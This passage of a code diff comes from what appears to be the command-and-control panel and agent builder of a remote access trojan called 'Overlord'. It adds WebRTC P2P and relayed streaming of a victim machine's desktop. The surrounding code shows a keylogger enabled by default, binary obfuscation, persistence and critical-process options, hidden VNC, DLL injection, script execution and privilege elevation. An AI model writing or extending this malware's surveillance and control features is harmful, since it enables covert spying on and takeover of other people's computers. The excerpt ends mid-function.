github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
+3
View File
@@ -126,6 +126,7 @@ function collectFormSettings() {
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
@@ -180,6 +181,7 @@ function applyFormSettings(settings) {
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
@@ -1379,6 +1381,7 @@ form?.addEventListener("submit", async (e) => {
hideConsole,
noPrinting,
disableKeylogger: !enableKeylogger,
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
outputName: outputNameVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
garbleTiny: obfuscate ? garbleTiny : undefined,
+143 -1
View File
@@ -1,5 +1,7 @@
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
import { checkFeatureAccess } from "./feature-gate.js";
import { WhepClient } from "./whep.js";
import { P2PClient } from "./webrtc-p2p.js";
(async function () {
const clientId = new URLSearchParams(location.search).get("clientId");
@@ -46,6 +48,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const audioCtrl = document.getElementById("audioCtrl");
const webrtcMode = document.getElementById("webrtcMode");
const webrtcVideo = document.getElementById("webrtcVideo");
let whepClient = null;
let p2pClient = null;
let webrtcActive = false;
function getWebrtcMode() {
return webrtcMode ? String(webrtcMode.value || "off") : "off";
}
ws.binaryType = "arraybuffer";
let activeClientId = clientId;
@@ -561,6 +571,113 @@ import { checkFeatureAccess } from "./feature-gate.js";
ws.send(encodeMsgpack(msg));
}
function setWebrtcViewActive(active) {
webrtcActive = !!active;
if (canvas) canvas.style.display = active ? "none" : "block";
if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
}
function onWebrtcState(label, s) {
console.debug(`webrtc[${label}]: state`, s);
if (s === "connected") {
setStreamState("streaming", `Streaming (${label})`);
} else if (s === "failed" || s === "disconnected") {
setWebrtcViewActive(false);
}
}
// The canvas path counts WS frames via markFrameReceived + updateFpsDisplay.
// WebRTC bypasses WS entirely, so we tap the <video>'s rendered-frame callback
// (Chrome/Edge/Firefox 132+) to feed the same counters — otherwise the
// frame watcher flips to "No frames" and FPS sticks at --.
let webrtcRvfcHandle = 0;
let webrtcFpsCount = 0;
let webrtcFpsWindowStart = 0;
function startWebrtcFrameTicker() {
if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return;
stopWebrtcFrameTicker();
webrtcFpsCount = 0;
webrtcFpsWindowStart = performance.now();
const tick = (now) => {
markFrameReceived();
webrtcFpsCount += 1;
const elapsed = now - webrtcFpsWindowStart;
if (elapsed >= 1000) {
const fps = Math.round((webrtcFpsCount * 1000) / elapsed);
// Agent and viewer FPS are effectively equal in WebRTC mode — the
// browser renders every frame the agent sends, no decode skipping.
updateFpsDisplay(fps);
webrtcFpsCount = 0;
webrtcFpsWindowStart = now;
} else {
updateFpsDisplay();
}
webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
};
webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
}
function stopWebrtcFrameTicker() {
if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") {
webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle);
}
webrtcRvfcHandle = 0;
}
async function startWhep(whepPath) {
await stopAllWebrtc();
if (!webrtcVideo) return;
whepClient = new WhepClient({
whepPath,
videoEl: webrtcVideo,
onState: (s) => onWebrtcState("WebRTC Relayed", s),
});
try {
await whepClient.start();
setWebrtcViewActive(true);
startWebrtcFrameTicker();
} catch (err) {
console.warn("webrtc: WHEP start failed, falling back to canvas", err);
setWebrtcViewActive(false);
whepClient = null;
}
}
async function startP2P() {
await stopAllWebrtc();
if (!webrtcVideo) return;
p2pClient = new P2PClient({
videoEl: webrtcVideo,
send: (msg) => {
if (ws.readyState === WebSocket.OPEN) {
ws.send(encodeMsgpack(msg));
}
},
onState: (s) => onWebrtcState("WebRTC P2P", s),
});
try {
await p2pClient.start();
setWebrtcViewActive(true);
startWebrtcFrameTicker();
} catch (err) {
console.warn("webrtc: P2P start failed, falling back to canvas", err);
setWebrtcViewActive(false);
const c = p2pClient;
p2pClient = null;
if (c) { try { await c.stop(); } catch {} }
}
}
async function stopAllWebrtc() {
stopWebrtcFrameTicker();
setWebrtcViewActive(false);
const w = whepClient;
whepClient = null;
if (w) { try { await w.stop(); } catch {} }
const p = p2pClient;
p2pClient = null;
if (p) { try { await p.stop(); } catch {} }
}
let monitors = 1;
function populateDisplays(count, monitorInfo) {
@@ -679,13 +796,24 @@ import { checkFeatureAccess } from "./feature-gate.js";
lastFrameAt = 0;
resetH264SessionState();
setStreamState("starting", "Starting stream");
sendCmd("desktop_start", {});
const mode = getWebrtcMode();
if (mode === "relayed") {
// Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
sendCmd("desktop_start", { webrtc: true });
} else if (mode === "p2p") {
// Kick off the P2P offer asynchronously; capture starts in parallel.
sendCmd("desktop_start", {});
startP2P();
} else {
sendCmd("desktop_start", {});
}
});
stopBtn.addEventListener("click", function () {
desiredStreaming = false;
setStreamState("stopping", "Stopping stream");
sendCmd("desktop_stop", {});
disconnectAudio();
stopAllWebrtc();
});
fullscreenBtn.addEventListener("click", function () {
if (canvasContainer.requestFullscreen) {
@@ -1154,6 +1282,18 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleStatus(msg);
return;
}
if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
startWhep(msg.whepPath);
return;
}
if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
if (p2pClient) p2pClient.onAnswer(msg.sdp);
return;
}
if (msg && msg.type === "webrtc_p2p_ice") {
if (p2pClient) p2pClient.onRemoteCandidate(msg);
return;
}
if (msg && msg.type === "input_latency") {
updateLatency(Number(msg.ms) || 0);
return;
@@ -1208,11 +1348,13 @@ import { checkFeatureAccess } from "./feature-gate.js";
desiredStreaming = false;
disconnectAudio();
destroyVideoDecoder();
stopAllWebrtc();
setStreamState("disconnected", "Disconnected");
});
ws.addEventListener("error", function () {
destroyVideoDecoder();
stopAllWebrtc();
setStreamState("error", "WebSocket error");
});
+108
View File
@@ -0,0 +1,108 @@
// Browser ↔ agent direct WebRTC peer client.
//
// Signaling is multiplexed onto the existing Remote Desktop WS:
// browser → server: { type: "webrtc_p2p_offer", sdp }
// { type: "webrtc_p2p_ice", candidate, sdpMid, sdpMLineIndex }
// { type: "webrtc_p2p_stop" }
// server → browser: { type: "webrtc_p2p_answer", sdp }
// { type: "webrtc_p2p_ice", ... }
//
// The server proxies these to the agent via its existing WS command channel
// (sessionId is server-side state, not visible to the browser).
//
// Once SDP + ICE settle, the <video> element receives frames directly from
// the agent — MediaMTX is not involved.
export class P2PClient {
/**
* @param {object} opts
* @param {HTMLVideoElement} opts.videoEl
* @param {(msg: object) => void} opts.send Send a JSON-encodable msg over the RD WS.
* @param {(state: string) => void} [opts.onState]
* @param {string[]} [opts.iceServers] STUN URLs. Default: Google public STUN.
*/
constructor(opts) {
this.videoEl = opts.videoEl;
this.send = opts.send;
this.onState = opts.onState || (() => {});
this.iceServers = opts.iceServers || ["stun:stun.l.google.com:19302"];
this.pc = null;
this.pendingRemoteCandidates = [];
}
async start() {
if (this.pc) await this.stop();
const pc = new RTCPeerConnection({
iceServers: this.iceServers.map((u) => ({ urls: u })),
});
this.pc = pc;
pc.addTransceiver("video", { direction: "recvonly" });
pc.ontrack = (ev) => {
if (ev.track.kind !== "video") return;
const stream = ev.streams[0] || new MediaStream([ev.track]);
this.videoEl.srcObject = stream;
this.videoEl.play().catch(() => {});
};
pc.onicecandidate = (ev) => {
// Trickle ICE: empty candidate signals end-of-gathering — we don't
// forward it (Pion infers it on its own).
if (!ev.candidate || !ev.candidate.candidate) return;
this.send({
type: "webrtc_p2p_ice",
candidate: ev.candidate.candidate,
sdpMid: ev.candidate.sdpMid || "",
sdpMLineIndex: ev.candidate.sdpMLineIndex || 0,
});
};
pc.onconnectionstatechange = () => {
this.onState(pc.connectionState);
};
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
this.send({ type: "webrtc_p2p_offer", sdp: pc.localDescription.sdp });
}
/** Handle an SDP answer relayed from the agent. */
async onAnswer(sdp) {
if (!this.pc || !sdp) return;
await this.pc.setRemoteDescription({ type: "answer", sdp });
// Drain any ICE candidates that arrived before the answer.
const drain = this.pendingRemoteCandidates;
this.pendingRemoteCandidates = [];
for (const c of drain) {
try { await this.pc.addIceCandidate(c); } catch (e) { console.warn("p2p: queued ice add failed", e); }
}
}
/** Add a remote ICE candidate from the agent. */
async onRemoteCandidate(msg) {
if (!this.pc) return;
if (!msg || typeof msg.candidate !== "string" || !msg.candidate) return;
const init = {
candidate: msg.candidate,
sdpMid: typeof msg.sdpMid === "string" ? msg.sdpMid : null,
sdpMLineIndex: Number.isInteger(msg.sdpMLineIndex) ? msg.sdpMLineIndex : null,
};
// If remote description hasn't been set yet, queue.
if (!this.pc.remoteDescription) {
this.pendingRemoteCandidates.push(init);
return;
}
try { await this.pc.addIceCandidate(init); } catch (e) { console.warn("p2p: ice add failed", e); }
}
async stop() {
const pc = this.pc;
this.pc = null;
this.pendingRemoteCandidates = [];
if (pc) {
try { pc.close(); } catch {}
}
try { this.send({ type: "webrtc_p2p_stop" }); } catch {}
if (this.videoEl) this.videoEl.srcObject = null;
}
}
+116
View File
@@ -0,0 +1,116 @@
// Tiny WHEP (WebRTC-HTTP Egress Protocol) client.
//
// Wires a <video> element to a server-proxied WHEP endpoint:
// 1. Create a recvonly video PeerConnection.
// 2. POST our SDP offer to whepPath, parse the SDP answer.
// 3. ontrack → attach MediaStream to the <video>.
//
// The Bun server proxies all signaling to MediaMTX, so this fetch inherits the
// existing JWT cookie. ICE/DTLS go straight to MediaMTX over UDP.
export class WhepClient {
/**
* @param {object} opts
* @param {string} opts.whepPath Path under the same origin, e.g. "/api/webrtc/agents/abc/whep"
* @param {HTMLVideoElement} opts.videoEl
* @param {(state: string) => void} [opts.onState]
*/
constructor(opts) {
this.whepPath = opts.whepPath;
this.videoEl = opts.videoEl;
this.onState = opts.onState || (() => {});
this.pc = null;
this.resourceURL = "";
}
async start() {
if (this.pc) await this.stop();
const pc = new RTCPeerConnection({});
this.pc = pc;
pc.addTransceiver("video", { direction: "recvonly" });
pc.ontrack = (ev) => {
if (ev.track.kind !== "video") return;
const stream = ev.streams[0] || new MediaStream([ev.track]);
this.videoEl.srcObject = stream;
this.videoEl.play().catch(() => {});
};
pc.onconnectionstatechange = () => {
this.onState(pc.connectionState);
};
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
await waitIceComplete(pc, 5000);
// The agent's WHIP publish and the operator's WHEP play start in parallel
// when "Start" is clicked. If the operator's WHEP arrives at MediaMTX
// before the agent's publish finishes setting up, MediaMTX returns 404
// "no stream is available on path ...". Retry briefly to absorb that
// race instead of immediately failing back to canvas.
const resp = await fetchWithRetry(this.whepPath, {
method: "POST",
headers: { "Content-Type": "application/sdp" },
credentials: "include",
body: pc.localDescription.sdp,
});
if (!resp.ok) {
const text = await resp.text().catch(() => "");
throw new Error(`WHEP ${resp.status}: ${text || resp.statusText}`);
}
this.resourceURL = resp.headers.get("Location") || "";
const answerSDP = await resp.text();
await pc.setRemoteDescription({ type: "answer", sdp: answerSDP });
}
async stop() {
const pc = this.pc;
const url = this.resourceURL;
this.pc = null;
this.resourceURL = "";
if (url) {
try {
await fetch(url, { method: "DELETE", credentials: "include" });
} catch {}
}
if (pc) {
try { pc.close(); } catch {}
}
if (this.videoEl) {
this.videoEl.srcObject = null;
}
}
}
async function fetchWithRetry(url, init, { attempts = 12, delayMs = 400 } = {}) {
let last;
for (let i = 0; i < attempts; i++) {
last = await fetch(url, init);
// Only retry the specific "publisher not yet ready" 404 from MediaMTX.
// Anything else (auth, network) should fail fast.
if (last.status !== 404) return last;
const text = await last.clone().text().catch(() => "");
if (!/no stream is available/i.test(text)) return last;
await new Promise((r) => setTimeout(r, delayMs));
}
return last;
}
function waitIceComplete(pc, timeoutMs) {
return new Promise((resolve) => {
if (pc.iceGatheringState === "complete") return resolve();
let done = false;
const finish = () => {
if (done) return;
done = true;
pc.removeEventListener("icegatheringstatechange", check);
resolve();
};
const check = () => {
if (pc.iceGatheringState === "complete") finish();
};
pc.addEventListener("icegatheringstatechange", check);
setTimeout(finish, timeoutMs);
});
}
+10
View File
@@ -390,6 +390,16 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
<input type="checkbox" name="enable-webrtc" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-tower-broadcast text-amber-400"></i> WebRTC
</span>
<span class="text-xs text-slate-500">Compile Pion into the agent for WebRTC streaming (P2P + relayed). Adds ~6&nbsp;MB to the binary; leave off if not needed.</span>
</div>
</label>
</div>
</div>
</div>
+22
View File
@@ -75,6 +75,14 @@
<input type="checkbox" id="codecH264" checked /> H.264
</label>
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
<label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct, server only relays signaling. Relayed: through MediaMTX (works behind tougher NATs).">
<span class="text-slate-200">Transport</span>
<select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
<option value="off" selected>Canvas</option>
<option value="p2p">WebRTC P2P</option>
<option value="relayed">WebRTC Relayed</option>
</select>
</label>
</div>
<div class="flex items-center gap-2">
<button id="startBtn" class="button primary">
@@ -170,6 +178,20 @@
height: auto;
"
></canvas>
<video
id="webrtcVideo"
class="bg-slate-950"
autoplay
playsinline
muted
style="
display: none;
max-width: 100%;
max-height: 100%;
width: auto;
height: auto;
"
></video>
</div>
</div>
<style>
+8
View File
@@ -37,6 +37,7 @@ import { handleFileShareRoutes } from "./server/routes/file-share-routes";
import { handleUsersRoutes } from "./server/routes/users-routes";
import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
import { handleWebrtcRoutes } from "./server/routes/webrtc-routes";
import { isAuthorizedAgentRequest } from "./server/agent-auth";
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
@@ -95,6 +96,9 @@ import {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
cleanupRdViewerP2P,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
@@ -674,6 +678,9 @@ async function startServer() {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
cleanupRdViewerP2P,
cleanupVoiceViewer,
cleanupDesktopAudioViewer,
stopConsoleOnTarget,
@@ -718,6 +725,7 @@ async function startServer() {
(req, url) => handleMiscRoutes(req, url, routeDeps.misc),
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
(req, url) => handlePageRoutes(req, url, routeDeps.page),
(req, url) => handleWebrtcRoutes(req, url),
(req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client),
(req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade),
],
+5
View File
@@ -107,6 +107,11 @@ export type CommandType =
| "desktop_select_display"
| "desktop_enable_mouse"
| "desktop_enable_keyboard"
| "webrtc_publish"
| "webrtc_stop"
| "webrtc_p2p_offer"
| "webrtc_p2p_ice"
| "webrtc_p2p_stop"
| "script_exec"
| "uninstall"
| "elevate"
@@ -85,6 +85,7 @@ type BuildProcessConfig = {
hideConsole?: boolean;
noPrinting?: boolean;
disableKeylogger?: boolean;
enableWebrtc?: boolean;
builtByUserId?: number;
outputName?: string;
garbleLiterals?: boolean;
@@ -870,6 +871,7 @@ func runBoundFiles() {
const buildTags: string[] = [];
if (config.noPrinting) buildTags.push("noprint");
if (config.disableKeylogger) buildTags.push("nokeylogger");
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
if (hasBoundFiles) buildTags.push("hasbinder");
if (config.enablePersistence && os === "windows") {
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
requireAdmin,
criticalProcess,
disableKeylogger,
enableWebrtc,
outputExtension,
sleepSeconds,
boundFiles,
@@ -374,6 +375,7 @@ export async function handleBuildRoutes(
requireAdmin: safeRequireAdmin,
criticalProcess: safeCriticalProcess,
disableKeylogger: !!disableKeylogger,
enableWebrtc: !!enableWebrtc,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
boundFiles: safeBoundFiles,
@@ -0,0 +1,101 @@
import { randomBytes } from "node:crypto";
import { authenticateRequest } from "../../auth";
import { canUserAccessClient } from "../../users";
import { logger } from "../../logger";
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
const PUBLISH_TOKEN_TTL_MS = 60_000;
type PublishToken = { clientId: string; expiresAt: number };
const publishTokens = new Map<string, PublishToken>();
function prunePublishTokens(now = Date.now()) {
for (const [t, entry] of publishTokens) {
if (entry.expiresAt < now) publishTokens.delete(t);
}
}
export function issueWebrtcPublishToken(clientId: string): string {
prunePublishTokens();
const token = randomBytes(24).toString("base64url");
publishTokens.set(token, { clientId, expiresAt: Date.now() + PUBLISH_TOKEN_TTL_MS });
return token;
}
export function webrtcStreamPathFor(clientId: string): string {
return `agents/${clientId}`;
}
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
if (!url.pathname.startsWith("/api/webrtc/")) return null;
const rest = url.pathname.slice("/api/webrtc/".length);
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
if (!match) return new Response("Not Found", { status: 404 });
const [, streamPath, kind, sessionSuffix] = match;
const clientId = streamPath.split("/")[1];
if (kind === "whip") {
const authHeader = req.headers.get("authorization") || "";
const m = authHeader.match(/^Bearer\s+(.+)$/i);
const token = m?.[1] || "";
const entry = publishTokens.get(token);
if (!entry || entry.clientId !== clientId || entry.expiresAt < Date.now()) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "DELETE") {
publishTokens.delete(token);
} else {
entry.expiresAt = Date.now() + PUBLISH_TOKEN_TTL_MS;
}
} else {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
return new Response("Forbidden", { status: 403 });
}
}
const upstreamUrl = `${MEDIAMTX_URL}/${streamPath}/${kind}${sessionSuffix || ""}`;
const upstreamHeaders = new Headers();
for (const [k, v] of req.headers) {
const lower = k.toLowerCase();
if (lower === "host" || lower === "authorization" || lower === "cookie") continue;
upstreamHeaders.set(k, v);
}
let body: ArrayBuffer | undefined;
if (req.method !== "GET" && req.method !== "HEAD" && req.method !== "DELETE") {
body = await req.arrayBuffer();
}
let upstreamResp: Response;
try {
upstreamResp = await fetch(upstreamUrl, {
method: req.method,
headers: upstreamHeaders,
body,
});
} catch (err) {
logger.warn(`[webrtc] upstream fetch failed (${upstreamUrl}): ${(err as Error).message}`);
return new Response("Bad Gateway", { status: 502 });
}
const respHeaders = new Headers(upstreamResp.headers);
const loc = respHeaders.get("location");
if (loc) {
try {
const abs = new URL(loc, MEDIAMTX_URL);
respHeaders.set("location", `/api/webrtc${abs.pathname}`);
} catch { }
}
return new Response(upstreamResp.body, {
status: upstreamResp.status,
statusText: upstreamResp.statusText,
headers: respHeaders,
});
}
@@ -157,6 +157,9 @@ type WsLifecycleDeps = {
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
cleanupRdViewerP2P: (ws: ServerWebSocket<SocketData>) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -723,6 +726,12 @@ export async function handleWebSocketMessage(
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
case "webrtc_p2p_answer":
deps.handleWebrtcP2PAnswer(client.id, payload);
break;
case "webrtc_p2p_ice":
deps.handleWebrtcP2PIce(client.id, payload);
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data;
@@ -779,6 +788,7 @@ export function handleWebSocketClose(
}
if (role === "rd_viewer") {
deps.cleanupRdViewerP2P(ws);
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
if (sess.viewer === ws) {
@@ -12,6 +12,7 @@ import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { canUserAccessClient } from "../users";
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
@@ -213,6 +214,35 @@ export const rdStreamingState = new Map<string, {
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
const RD_INPUT_TTL_MS = 10_000;
type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
const p2pAgentToViewer = new Map<string, P2PSession>();
const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
const prior = p2pViewerToAgent.get(ws);
if (prior) {
p2pAgentToViewer.delete(prior);
}
const sessionId = uuidv4();
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
p2pViewerToAgent.set(ws, sessionId);
return sessionId;
}
function lookupP2PSession(sessionId: string): P2PSession | undefined {
return p2pAgentToViewer.get(sessionId);
}
function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
const sessionId = p2pViewerToAgent.get(ws);
if (!sessionId) return null;
const entry = p2pAgentToViewer.get(sessionId);
p2pAgentToViewer.delete(sessionId);
p2pViewerToAgent.delete(ws);
if (!entry) return null;
return { sessionId, clientId: entry.clientId };
}
function pruneRdInputPending(now = Date.now()) {
for (const [id, pending] of rdInputPending.entries()) {
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
@@ -384,10 +414,25 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
break;
}
}
if ((payload as any).webrtc === true) {
const streamPath = webrtcStreamPathFor(clientId);
const token = issueWebrtcPublishToken(clientId);
const whipPath = `/api/webrtc/${streamPath}/whip`;
sendDesktopCommand(target, "webrtc_publish", {
streamPath,
whipPath,
token,
});
safeSendViewer(ws, {
type: "webrtc_ready",
streamPath,
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
sendDesktopCommand(target, "desktop_start", {});
state.isStreaming = true;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] started streaming for client ${clientId}`);
logger.debug(`[rd] started streaming for client ${clientId}${(payload as any).webrtc === true ? " (webrtc)" : ""}`);
} else {
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
}
@@ -397,6 +442,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
.filter(s => s.id !== ws.data.sessionId);
if (otherViewers.length === 0) {
sendDesktopCommand(target, "desktop_stop", {});
sendDesktopCommand(target, "webrtc_stop", {});
if (state.isStreaming) {
state.isStreaming = false;
rdStreamingState.set(clientId, state);
@@ -542,11 +588,70 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
sendDesktopCommand(target, "clipboard_sync_stop", {});
break;
}
case "webrtc_p2p_offer": {
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
if (!sdp) break;
const sessionId = createP2PSession(ws, clientId);
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
break;
}
case "webrtc_p2p_ice": {
const sessionId = p2pViewerToAgent.get(ws);
if (!sessionId) break;
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
if (!candidate) break;
sendDesktopCommand(target, "webrtc_p2p_ice", {
sessionId,
candidate,
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
});
break;
}
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
}
break;
}
default:
break;
}
}
export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
